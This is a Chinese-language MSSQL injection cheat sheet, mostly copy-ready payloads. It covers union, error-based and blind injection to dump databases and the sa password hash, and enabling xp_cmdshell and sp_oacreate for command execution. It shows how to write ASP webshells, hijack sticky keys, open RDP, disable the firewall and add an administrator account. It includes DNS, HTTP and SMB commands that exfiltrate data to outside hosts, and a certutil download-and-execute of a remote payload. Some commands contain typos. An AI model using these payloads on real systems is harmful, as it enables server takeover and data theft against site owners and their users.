MSSql注入
1. 定义
- 使用****微软开发的Sql Server数据库来进行网站搭建
2. 技战法
-
SQL注入查登录用户Hash
- 查询登录用户的HASH密码
id=0' union select 1,2,(select master.dbo.fn_varbintohexstr(password_hash) from sys.sql_logins where name='sa')--+' #利用函数强制转换为16进制,避免受到格式的影响
**Hash格式:**0x0100(头部) + 8位salt + 40位区分大小写的hash
-
扩展存储过程xp_cmdshell执行命令
-
系统存储过程sp_oacreate + sp_oamethod执行命令
-
扩展存储过程xp_regwrite写注册表(映像劫持、远程桌面、开机启动项等)
-
利用CLR组件执行系统命令
-
系统存储过程sp_addextendproc恢复组件
-
差异备份写webshell
-
日志备份写webshell
3. 权限角色
(1). 固定服务器角色
a. 包含
固定服务器角色 | 说明 |
---|---|
sysadmin | 执行SQLServer中的任何动作 |
serveradmin | 配置服务器设置 |
setupadmin | 安装、复制和管理扩展过程 |
securityadmin | 管理登录、数据库创建的权限以及阅读审计 |
processadmin | 管理SQLServer进程 |
dbcreator | 创建和修改数据库 |
diskadmin | 管理磁盘文件 |
b. 使用
-
通过
and 1=(select is_srvrolemember('sysadmin'))
来判断服务器权限 -
添加、删除固定服务器角色成员
- 只有固定服务器角色的成员来能执行这2个系统过程
sp_addsrvrolemember sp_dropsrvrolemember
(2). 固定数据库角色
a. 包含
- 通过
and 1=(select if_member('db_owner'))
来判断数据库权限
固定数据库角色 | 说明 |
---|---|
db_owner | 可以执行数据库中几乎所有动作的用户 |
db_accessadmin | 可以添加、删除用户的用户 |
db_datareader | 可以查看所有数据库中用户表内数据的用户 |
db_datawriter | 可以添加、修改或删除所有数据库中用户表内数据的用户 |
db_ddladmin | 可以在数据库中执行所有DDL操作的用户 |
db_backoperator | 可以备份数据库的用户 |
db_denydatareader | 不能看到数据库中任何数据的用户 |
db_denydatawriter | 不能改变数据库中任何数据的用户 |
public | 提供了所有默认权限 |
4. 内置表
视图表 | 说明 |
---|---|
sys.databases(新式) | 所有数据库 |
sys.tables(新式) | 所有表 |
sys.columns(新式) | 所有字段 |
sys.sql_login | 所有登录名 |
information_schema.schemata | 当前用户数据库中的角色 |
information_schema.tables | 当前用户数据库中的表 |
information_schema.columns | 当前用户数据库中的列 |
sys.all_columns | 所有列的集合 |
sys.database_principals | 数据库中每个权限或列异常权限 |
sys.database_files | 存储在数据库中的数据库文件 |
sys.sysdatabases(旧式) | 数据库中创建的每个数据库 |
sys.sysobjects(旧式) | 数据库中创建的每个对象 |
sys.syscolumns(旧式) | 数据库中的所有字段名 |
5. 注入类型
(1). 联合注入
1. 获取当前数据库名
id=0' union select top 1 1,2,db_name() --+
id=0' union select top 1 1,2,name from master.sys.databases --+
2. 获取其他数据库名
id=0' union select top 1 1,2,name from master.sys.databases where name not in (select top m name from master.sys.databases) --+ '#m表示除当前数据库外的其他名称
3. 获取当前表名
id=0' union select top 1 1,2,table_name from information_schema.tables --+ '
4. 获取所有表名
id=0' union select top 1 1,2,table_name from information_schema.tables where table_name not in(select top m table_name from information_schema.tables) --+ '#m代表表位置
5. 获取当前列名
id=0' union select top 1 1,2,column_name from information_schema.columns --+'
6. 获取所有列名
id=0' union select top 1 1,2,column_name from information_schema.columns where table_name='users' and column_name not in (select top m column_name from information_schema.columns where table_name='users') --+ '#m代表字段位置
7. 获取当前数据
id=0' union select top 1 1,username,password from users --+ '
8. 获取所有数据
id=0' union select top 1 1,username,password from users where username not in(select top m username from users) and password not in(select top m password from users) --+ '#m代表第几行数据
(2). 报错注入
a. 方式
- 1 = 语句
- 语句 > 0
b. 涉及函数
quotename(字段)、cast(name as int)、convert(int,name)
#1. quotename函数
id=1 and 1=(select quotename(count(name) from sys.databases where database_id=1)) --+
#2. cast函数
id=1 and 1=(select cast(name as int) from sys.databases where database_id=1) --+
#3. convert函数
id=1 and 1=(select convert(int,name) from sys.databases where database_id=1) --+
c. 注入流程
①获取数据库信息
#1. 判断注入点
id=1' '#报错, => 字符型
id=1 and 1=1 #返回正常
id=1 and 1=2 #返回错误 => 数字型
#2. 判断是否为MSSQL数据库
id=1 and exists(select * from sysobjects) --+ #返回正常为mssql
id=1 and exists(select count(*) from sysobjects) --+
#3. 判断数据库版本号
id=1 and @@version>0 --+
#@@version为mssql的全局变量,暴露出数据库信息
#4. 判断当前服务器角色是否拥有比较高的权限
id=1 and 1=(select is_srvrolemember('sysadmin')) --+ #是否为sysadmin权限
#5. 判断当前数据库角色是否为DB_OWNER
id=1 and 1=(select is_member('db_owner')) --+ #是否为db_owner权限
#6. 获取当前用户名字
id=1 and user_name()>0 --+
②获取数据库名
#1. 获取当前数据库
id=1 and db_name()>0 --+
id=1 and 1=db_name() --+
#2. 获取数据库的个数
id=1 and 1=(select quotename(count(name) from master.sys.dbo.databases)) --+
#3. 获取所有数据库名
id=1 and (select name from master.sys.dbo.databases where database_id=1)>0 #
or
id=1 and 1=(select quotename(name) from master.sys.dbo.databases FOR XML PATH('')) --+
③获取表名
#1. 获取第一个表名
id=1 and 1=(select top 1 table_name from information_schema.tables) --+
#2. 获取其他表名
id=1 and 1=(select top 1 table_name from information_schema.tables where table_name not in(select top m table_name from information_schema.tables)) --+ #m为第几个表
or
id=1 and 1=(select quotename(table_name) from information_schema.tables FOR XML PATH('')) -+
④获取字段名
#1. 获取当前字段名
id=1 and 1=(select top 1 column_name from information_schema.columns where table_name='users') --+
#2. 获取所有字段名
id=1 and 1=(select top 1 column_name from information_schema.columns where table_name='users' and column_name not in('id','username','password')) --+ #后面跟表的字段
or
id=1 and 1=(select quotename(column_name) from information_schema.columns where table_name='users' FOR XML PATH('')) --+
⑤具体数据
#1. 获取数据
id=1 and 1=(select password from users where id=1) --+
or
id=1 and 1=(select quotename(username),quotename(password) from users FOR XML PATH('')) --+
(3). 布尔盲注
a. 涉及函数
ascii()、substring()
b. 注入流程
①数据库信息
②库名长度、库名
#1. 判断第一个数据库名长度
1 and len(db_name()) >m --+ #m表示长度
#2. 获取数据库名
id=1 and (ascii(substring((select top 1 name from sys.sysdatabases),n,1),1,1)=m) --+ #n表示第几个字符,m表示ascii范围
③表名长度、表名
#1. 判断第一张表名长度
id=1 and len((select top 1 table_name from information_schema.tables))>10 --+ #m表示长度
#2. 暴力破解第一张表名
1 and ascii(substring((select top 1 table_name from information_schema.tables),n,1))=m --+ #n表示第几个字符,m表示ascii范围
④字段名长度、字段名
#1. 判断第一张表第一个字段名长度
id=1 and len((select top 1 column_name from information_schema.columns))>10 --+ #m表示长度
使用二分法,判断出字段名长度为2
#2. 暴力破解第一张表第一个字段名
1 and ascii(substring((select top 1 column_name from information_schema.columns),n,1))=m --+ #n表示第几个字符,m表示ascii范围
⑤具体数据
#1. 判断第一行数据第一个字段的长度
id=1 and len((select top 1 id from emails))=m --+ #m表示长度
#2. 暴力破解该数据
(4). 时间盲注
a. 涉及函数
WAITFOR DELAY 'h:m:s'
、ascii()、substring()
b. 注入流程
①获取数据库信息
②库名长度、库名
#1. 判断数据库名长度
id=1 if(len(db_name()) >m) waitfor delay '0:0:5' --+ #m表示长度
#2. 暴力破解数据库名
id=1 if(ascii(substring((select db_name()),n,1))=m) waitfor delay '0:0:5' --+ #n表示第几个字符,m表示ascii范围
③表名长度、表名
#1. 判断第一张表名长度
1 if(len((select top 1 table_name from information_schema.tables))>m) waitfor delay '0:0:5' --+ #m表示长度
#2. 暴力破解第一张表名
1 if(ascii(substring((select top 1 table_name from information_schema.tables),n,1))=m) waitfor delay '0:0:5' --+ #n表示第几个字符,m表示ascii范围
④字段名长度、字段名
#1. 判断第一张表第一个字段名长度
1 if(len((select top 1 column_name from information_schema.columns))>m) waitfor delay '0:0:5' --+ #m表示长度
#2. 暴力破解第一张表第一个字段名
1 if(ascii(substring((select top 1 column_name from information_schema.columns),n,1))=m) waitfor delay '0:0:5' --+ #n表示第几个字符,m表示ascii范围
⑤具体数据
#1. 判断第一行第一个字段的数据长度
1 if(len((select top 1 id from emails))>m) waitfor delay '0:0:5' --+ #m表示长度
#2. 暴力破解数据内容
(5). 数据外带
a. DNS
①获取数据库
id=1;declare @a varchar(8000);set @a=db_name();exec('master..xp_cmdshell "ping.exe '%2b%@a%2b'.Laffrex.eyes.sh -n 1"') --+
②获取表
#1. 获取当前表名
id=1;declare @a varchar(8000);set @a=(select top 1 table_name from information_schema.tables) ;exec('master..xp_cmdshell "ping.exe '%2b%@a%2b'.Laffrex.eyes.sh -n 1"') --+
#2. 获取所有表名
id=1;declare @a varchar(8000);set @a=(select top 1 table_name from information_schema.tables where table_name not in (select top 2 table_name from information_schema.tables)) ;exec('master..xp_cmdshell "ping.exe '%2b%@a%2b'.Laffrex.eyes.sh -n 1"') --
③获取字段
#1.获取当前字段名
id=1;declare @a varchar(8000);set @a=(select top 1 column_name from information_schema.columns) ;exec('master..xp_cmdshell "ping.exe '%2b%@a%2b'.Laffrex.eyes.sh -n 1"') --+
#2.获取所有字段名
id=1;declare @a varchar(8000);set @a=(select top 1 column_name from information_schema.columns where column_name not in (select top 2 column_name from information_schema.columns)) ;exec('master..xp_cmdshell "ping.exe '%2b%@a%2b'.Laffrex.eyes.sh -n 1"') --+
④具体数据
b. HTTP
①数据库名
id=1;declare @a varchar(8000);set @a=db_name();exec('master..xp_cmdshell "powershell IEX(new-object net.webclient).downloadstring(''http://192.168.72.12:8000?data='%2b@a%2b''')"') --+
②表名
id=1;declare @a varchar(8000);set @a=(select top 1 table_name from information_schema.tables);exec('master..xp_cmdshell "powershell IEX(new-object net.webclient).downloadstring(''http://192.168.72.12:8000?data='%2b@a%2b''')"') --+
③字段名
id=1;declare @a varchar(8000);set @a=(select top 1 column_name from information_schema.columns);exec('master..xp_cmdshell "powershell IEX(new-object net.webclient).downloadstring(''http://192.168.72.12:8000?data='%2b@a%2b''')"') --+
c. SMB
①数据库名
id=1;declare @a varchar(1024);set @a=db_name();exec('master..xp_subdirs "//'%2b'192.168.172.100\\'%2b@a%2b'.txt"') --+
②表名
id=1;declare @a varchar(1024);set @a=(select top 1 table_name from information_schema.tables);exec('master..xp_subdirs "//'%2b'192.168.172.100\\'%2b@a%2b'.txt"') --+
③字段名
id=1;declare @a varchar(1024);set @a=(select top 1 column_name from information_schema.columns);exec('master..xp_fileexist "//'%2b'192.168.71.11\\'%2b@a%2b'.txt "') --+
6. 存储过程
(1). 定义
- 一组为了完成特定功能的****SQL语句集合,经编译后存储在数据库中,用户通过指定存储过程的名称并给出参数来执行
(2). 系统存储过程
- **以 **
sp_
开头
a. 利用条件
- 已获取到****sqlserver sysadmin权限用户的账号与密码、且未降权(2019版本sa用户权限为mssqlserver)
- sqlserver****允许远程连接
- 已****开启sp_oacreate
- OLE Automation Proccedures选项开启
b. 语法
- sp_oacreate是创建OLE对象的****实例
- sp_oacreate可以用于****对文件删除、复制、移动等操作,可配合sp_oamethod调用系统wscript.shell来执行系统命令
语法 EXEC sp_OACreate @ProgID(@CLSID), @Object OUTPUT;
- sp_oacreate可以用于****对文件删除、复制、移动等操作,可配合sp_oamethod调用系统wscript.shell来执行系统命令
- sp_oamethod是一个调用OLE对象的****方法
- 与sp_oacreate结合使用,分别用于****创建和执行脚本语言
语法: EXEC sp_OAMethod @Object, @MethodName, @ReturnValue OUTPUT, [@Parameter1, @Parameter2, ...];
- 与sp_oacreate结合使用,分别用于****创建和执行脚本语言
- 组合sp_oacreate、sp_oamethod可执行命令,但****无回显
c. 流程
- 启用sp_oacreate
EXEC sp_configure 'show advanced options',1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'Ole Automation Procedures',1; RECONFIGURE WITH OVERRIDE;
- 执行系统命令
d. 利用方法
①只使用2个方法
- 执行命令
declare @shell int EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run','null','c:\windows\system32\cmd.exe /c whoami > c:\\1.txt'
拆分如下:
declare @shell int //定义变量shell
EXEC sp_oacreate 'wscript.shell',@shell output //创建一个 WScript.Shell对象,并将其句柄赋值给变量shell
EXEC sp_oamethod @shell,'c:\windows\system32\cmd.exe /c whoami > c:\\1.txt' //通过shell来执行系统命令
- 写Webshell
declare @o int,@f int,@ret int
EXEC sp_oacreate 'scripting.filesystemobject', @o out
EXEC sp_oamethod @o,'createtextfile',@f out,'c:\inetpub\wwwroot\shell.asp',1
EXEC @ret=sp_oamethod @f,'writeline',NULL,'<%25execute(request("cmd"))%25>'
②2个方法+COM组件
declare @luan int,@exec int,@text int,@str varchar(8000);
EXEC sp_oacreate ' ',@luan output; //该句柄对应Wscript.Shell
EXEC sp_oamethod @luan,'exec',@exec output,'C:\windows\system32\cmd.exe /c whoami';
EXEC sp_oamethod @exec,'stdOut',@text out;
EXEC sp_oamethod @test,'readall',@str out;
select @str;
③使用工具
- 使用****SharpSQLTools,可实现上传、下载文件,xp_cmdshell与sp_oacreate双回显和clr加载程序集执行相应功能
SharpSQLTools.exe 192.168.172.150 sa[username] ICQsafe666[password] master enable_ole
SharpSQLTools.exe 192.168.172.150 sa[username] ICQsafe666[password] master sp_oacreate whoami
(3). 本地存储过程
- 利用CLR(Common Language Infrastruvture,公共语言基础结构,使用工具****SharpSQLTools
SharpSQLTools.exe 192.168.172.150 [username] [password] master install-clr
SharpSQLTools.exe 192.168.172.150 [username] [password] master enable_clr
SharpSQLTools.exe 192.168.172.150 [username] [password] master clr_efspotato whoami
(4). 扩展存储过程
- 以
xp_
开头,主要使用外部程序语言编写的存储过程
a. 使用前提
- 当前用户拥有****DBA权限
- 依赖于****xplog70.dll
- 存储过程存在并已启用
EXEC sp_configure 'show advanced options',1; RECONFIGURE WITH OVERRIDE;
b. 流程
- 判断是否为DBA权限
select is_srvrolemember('sysadmin');
- 查看是否存在xp_cmdshell
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
- 开启xp_cmdshell
EXEC sp_configure 'show advanced options',1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE WITH OVERRIDE;
- 指令执行完毕后,关闭xp_cmdshell
EXEC sp_configure 'show advanced options',1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'xp_cmdshell',0; RECONFIGURE WITH OVERRIDE;
c. 常见函数
①xp_cmdshell
- 添加与删除
-- 1. 删除xp_cmdshell扩展存储过程 EXEC sp_dropextendedproc 'xp_cmdshell' -- 2. 重新添加xp_cmdshell扩展存储过程 EXEC sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll' declare @o int; sp_addextendedproc 'xp_cmdshell','xpsql70.dll'; -- 3. 彻底删除xp_cmdshell扩展存储过程 在C盘里直接搜索xplog70.dll,然后删除xp_cmdshell
②xp_subdirs
- 读取文件夹内的文件夹列表
--得到给定文件夹内的文件夹列表 EXEC master..xp_subdirs 'c:\';
③xp_dirtree
-
显示子目录,有3个参数,分别是
-
-- -directory 要查询的目录 -- -depth 显示子目录的深度 -- -file 是否显示子目录中的文件,默认为0,即不显示任何文件,只显示子目录
-- 1. 显示C盘所有文件和目录 EXEC master..xp_dirtree 'c:\'; -- 2. 显示C盘所有目录 EXEC master..xp_dirtree 'c:\',1; -- 3. 显示指定目录下的目录和文件 EXEC master..xp_dirtree 'C:\inetpub\',1,1;
④xp_create_subdir()
- 用于创建子目录
-- 在C盘下创建test文件夹 EXEC master..xp_create_subdir 'c:\test';
⑤xp_fileexist()
- 判断文件是否存在,返回有3个字段的数据,分别是(是否为****文件,是否为目录,是否有父目录)
EXEC master..xp_fileexist 'c:\windows\win.ini';
⑥xp_regwrite()、xp_regread()
- 用于对****注册表进行修改或读取,替换成任意值,造成映像劫持
d. 利用方法
①写Webshell
-- 1. 查询web根目录路径
EXEC master..xp_cmdshell 'where /r c:\*.asp'
-- 2. 利用xp_cmdshell写Webshell,找绝对路径可以where命令和其他扩展存储过程组合利用
EXEC master..xp_cmdshell 'echo ^<%eval request("cmd")%^> > c:\intepub\wwwroot\shell.asp' --Windows的转义符为^,Linux的转义符为 \
②远程桌面上线
-- 1. 查看是否禁用xp_cmdshell
id=0 union select 1,2,count(*) from master..sysobjects where xtype='X' and name='xp_cmdshell' --+
or
id=1 and 1=(select count(*) from master.sys.sys.objects where name='xp_cmdshell') --+
-- 2. 开启xp_cmdshell
id=0;EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE; --+
-- 3. 测试是否成功
id=1;EXEC master.sys.xp_cmdshell 'ping -n 1 Laffrex.eyes.sh' --+
-- 4. 开启RDP服务
id=1;EXEC master.sys.xp_cmdshell 'REG ADD HELM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' --+
-- 5. 关闭防火墙
id=1;EXEC master.sys.xp_cmdshell 'netsh firewall set opmode disable' --+
-- 6. 添加登录用户
id=1;EXEC master.sys.xp_cmdshell 'net user admin 1qaz!QAZ /add' --+
id=1;EXEC master.sys.xp_cmdshell 'net localgroup administrators admin /add' --+
③映像劫持
- 未禁止注册表编辑(即写入功能)
- xp_regwrite启用
-- 检测是否启用 select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_regwrite' -- 启用 EXEC sp_configure 'show advanced options',1 RECONFIGURE EXEC sp_configure 'xp_regwrite',1 RECONFIGURE
-- 1. 将粘滞键启动结果替换成cmd命令窗口启动
EXEC master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options\Sethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'
-- 2. 开启3389端口
EXEC master..xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;
or
EXEC master..xp_cmdshell 'REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'
④powershell上线cs
id=1;EXEC master..xp_cmdshell 'certutil.exe -f -split -urlcache http://192.168.172.150:9090/payload64.txt c:\\inetpub\\wwwroot\\payload1.bat' --+
id=1';EXEC master..xp_cmdshell 'c:\\inetpub\\wwwroot\\payload1.bat' --+
⑤结合工具
-- SharpSQLTools利用xp_cmdshell
SharpSQLTools.exe 192.168.172.150 [username] [password] master enable_xp_cmdshell
SharpSQLTools.exe 192.168.172.150 [username] [password] master xp_cmdshell whoami
(5). Getshell
a. 条件
- web路径已知
- sa或DBA权限(db_owner权限)
b. 方法
- 涉及到****xp_cmdshell、xp_dirtree、xp_subdirs、xp_regread存储过程
①利用存储过程写shell
- xp_cmdshell
EXEC master..xp_cmdshell 'echo ^<%eval request("cmd")%^> > c:\inetpub\wwwroot\shell.asp';
- sp_oacreate
declare @o int,@f int,@t int,@ret int EXEC sp_oacreate 'scripting.filesystemobject',@o OUT EXEC sp_oamethod @o,'createtextfile',@f OUT,'c:\inetpub\wwwroot\shell.asp',1 EXEC @ret=sp_oamethod @f,'writeline',NULL,'^<%execute(request("cmd"))%^>'
- 本地存储过程CLR’
直接利用sharpSQLTools执行命令写shell进行利用
②log备份写shell
- 优点
- 重复性好,多次备份的成功率高
- 相对于差异备份而言,shell的体积小
- 利用条件
- 至少DBO权限,默认SA满足
- 知道绝对路径且目录可写
- 站库不分离,数据库和网站在同一台服务器
- 数据库必须被备份过一次
- 操作
③差异备份写shell
- 特点
- 容错率较差,条件相对苛刻
- 利用条件
- 至少DBO权限
- 知道绝对路径且目录可写
- HTTP 500错误不是自定义
- 站库不分离,数据库中不能存在%
- 数据量不能太大
- 操作